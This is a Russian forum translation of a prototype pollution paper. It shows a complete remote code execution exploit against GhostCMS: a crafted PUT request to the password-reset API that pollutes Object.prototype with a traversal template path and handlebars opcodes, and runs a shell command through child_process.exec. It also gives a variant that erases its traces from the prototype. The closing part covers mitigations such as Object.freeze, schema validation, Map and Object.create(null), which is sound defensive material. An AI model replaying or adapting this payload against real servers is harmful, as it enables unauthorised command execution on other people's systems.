Одна из проблем, возникающих при загрязнении прототипа Object свойством объекта, заключается в том, что все объекты, существующие во время выполнения, теперь имеют бесконечную глубину.
Если, например, мы загрязняем прототип Object следующим значением:
JavaScript:
Object.prototype.foo = {};
Поскольку только что добавленное свойство «foo» также относится к типу Object, оно унаследует свойство foo. Это делает следующий код правильным.
JavaScript:
var a = {};a.foo.foo.foo.foo.foo.foo.foo === a.foo
Это, однако, создает бесконечную рекурсию, когда есть фрагмент кода, который рекурсивно выполняет итерацию на объекте.
Чтобы исправить эту проблему, мы можем определить значение, которое мы загрязняем, следующим образом
JavaScript:
Object.prototype.foo = { “foo” : “” }
a.foo.foo === “”
Избегаем тупик
Иногда сбой происходит в «тупиковых» местах, что означает, что во избежание сбоя нельзя добавить никаких свойств. Когда вы сталкиваетесь с подобной ситуацией, лучше всего рассмотреть все условия, которые были выполнены до аварии.
Идея состоит в том, чтобы найти условие, при котором свойство можно изменить, чтобы тупиковый путь больше не использовался.
Инъекция свойств с целью исполнения кода
Изменение визуализированного шаблона
Один из интересных моментов в работе GhostCMS заключается в том, что шаблон для рендеринга загружается лениво. Ленивая загрузка предполагает, что значение сначала не определено, а затем определяется при обращении к нему.
Это означает, что если мы загрязняем свойство
_template, этот шаблон всегда будет считать, что он уже загружен.Шаблоны хэндлеров приложения GhostCMS довольно сложно использовать для внедрения свойств. Однако выяснилось, что пакет «express-hbs» идет со своим тестовым набором.
Шаблон
emptyComment.hbs был самой простой целью для внедрения, поскольку он содержит только частичный вызов.Введенное свойство
Код:
"_template":"../../../current/node_modules/express-hbs/test/issues/23/emptyComment.hbs"
Внедрение кода в движок рендеринга
Механизм рендеринга, используемый GhostCMS, - это handlebar. Рендеринг шаблона включает примерно три этапа: текстовый шаблон-> объектное представление шаблона-> код JavaScript.
Свойство, которое мы вводим, находится в форме объектного представления шаблона. Мы будем злоупотреблять свойством blockParams, которое будет напрямую внедрено в окончательный код JavaScript.
Внедряемое свойство:
JavaScript:
"program": {
"opcodes": [{
"opcode": "pushLiteral",
"args": ["1"]
}, {
"opcode": "appendEscaped",
"args": ["1"]
}],
"children": [],
"blockParams": "CODE GOES HERE"
}
Final payload
Когда мы соберем все вместе, мы сможем получить эту последнюю полезную нагрузку, которая будет выдавать «kcalc» каждый раз, когда загружается главная страница.
Следует отметить одну вещь: поскольку выполнение полезной нагрузки JavaScript происходит в контексте, подобном eval, функция «require» недоступна напрямую.
Однако к «require» можно получить доступ через
global.process.mainModule.constructor._load.
HTTP:
PUT /ghost/api/v0.1/authentication/passwordreset HTTP/1.1
Host: localhost:2368Content-Type: application/json; charset=UTF-8
Connection: close
{
"passwordreset": [{
"token": "MHx0ZXN0QHRlc3QuY29tfHRlc3RzZXRlc3Q=",
"email": "test1321321@test.com",
"newPassword": "kdsflaksldk930209",
"ne2Password": "kdsflaksldk930209",
"__proto__": {
"_template":"../../../current/node_modules/express-hbs/test/issues/23/emptyComment.hbs",
"posts": {
"type": "browse"
},
"resource": "constructor",
"type": "constructor",
"program": {
"opcodes": [{
"opcode": "pushLiteral",
"args": ["1"]
}, {
"opcode": "appendEscaped",
"args": ["1"]
}],
"children": [],
"blockParams":"global.process.mainModule.constructor._load('child_process').exec('kcalc',function(){})"
},
"children": [{
"opcodes": ["123"],
"children": [],
"blockParams": 1
}],
"options": ";",
"meta": {
"pagination": {
"pages": "100"
}
}
}
}]
}
Создание более стабильного эксплойта
В этом эксплойте, поскольку мы внедряем код JavaScript, мы также можем вернуть приложение в исходное состояние после выполнения полезной нагрузки, удалив все свойства, которые мы добавили к прототипу объекта.
Таким образом, мы можем заменить значение «blockParams» на это:
JavaScript:
global.process.mainModule.constructor._load('child_process').exec('kcalc',function(){})+eval('for (var a in {}) { delete Object.prototype[a]; }')
Это отличная идея, которую я получил от Яна Бушара, обсуждая с ним этот эксплойт.
Предотвращение
Замораживание прототипа
Версия 5 стандарта ECMAScript представила очень интересный набор функций для языка JavaScript. Это позволило определить неперечислимые свойства, геттер, сеттер и многое другое. Одним из представленных API был «Object.freeze».
Когда эта функция вызывается для объекта, любая дальнейшая модификация этого объекта автоматически завершится ошибкой. Поскольку прототип Object - это объект, его можно заморозить.
Это снизит вероятность почти всех возможных случаев эксплуатации.
Обратите внимание, что хотя добавление функции к прототипу базового объекта вызывает недовольство на практике, ее все же можно использовать в вашем приложении NodeJS или его зависимости.
Настоятельно рекомендуется проверить ваше приложение NodeJS и его зависимости на предмет такого использования, прежде чем идти по этому пути.
Поскольку поведение замороженного объекта заключается в молчаливом выходе из строя при присвоении свойства, это может затруднить идентификацию ошибки.
- Object.freeze(Object.prototype);
- Object.freeze(Object);
- ({}).__proto__.test = 123
- ({}).test // this will be undefined
Несколько библиотек в NPM (например: avj) предлагают проверку схемы для данных JSON. Проверка схемы гарантирует, что данные JSON содержат все ожидаемые атрибуты соответствующего типа.
При использовании этого подхода для смягчения атаки «загрязнения прототипа» важно отклонять ненужные атрибуты. В avj это можно сделать, установив для «additionalProperties» значение «false» в схеме.
Использование Map вместо Object
Примитив Map был представлен в стандарте EcmaScript 6. По сути, он работает как HashMap, но без всех оговорок безопасности, которые есть у Object. Сейчас он хорошо поддерживается в современной среде NodeJS и постепенно выходит в браузеры.
Когда требуется структура "ключ-значение", предпочтительнее использовать Map вместо объекта.
Object.create(null)
В JavaScript можно создать объект, не имеющий прототипа. Это требует использования функции «Object.create». Объект, созданный с помощью этого API, не будет иметь атрибутов «__ proto__» и «constructor».
Создание объекта таким образом может помочь предотвратить атаку загрязнения прототипа.
- var obj = Object.create(null);
- obj.__proto__ // undefined
- obj.constructor // undefined
Очередной раз спасибо weaver за материал:
prototype-pollution-nsec18/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf at master · HoLyVieR/prototype-pollution-nsec18
Content released at NorthSec 2018 for my talk on prototype pollution - HoLyVieR/prototype-pollution-nsec18
В этот раз перевод немного хромает и списки иногда кривые получились(на форуме новый конструктор)
Если есть предложения что перевести, для них есть тема
Перевод:
Azrv3l cпециально для xss.pro